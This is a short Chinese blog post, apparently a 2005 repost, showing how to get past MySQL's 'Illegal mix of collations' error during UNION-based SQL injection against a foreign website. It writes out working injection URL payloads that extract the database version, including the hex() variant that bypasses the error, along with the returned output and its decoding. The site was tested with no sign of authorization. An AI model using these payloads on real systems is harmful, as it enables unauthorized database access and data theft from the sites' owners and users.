MySQL注射时ErrorNo.1267的突破

来源:互联网 发布:java html压缩成一行 编辑:程序博客网 时间:2024/04/30 06:09
 本文作者:SuperHei
文章性质:原创
发布日期:2005-10-18

测试个国外的站时:

url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*

返回错误:

Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

MySQL Error No. 126

看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。

解决办法:转为其他编码如hex。

url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*

成功得到hex(version())的值为:

342E312E332D62657461

回Mysql查询下得到:

mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)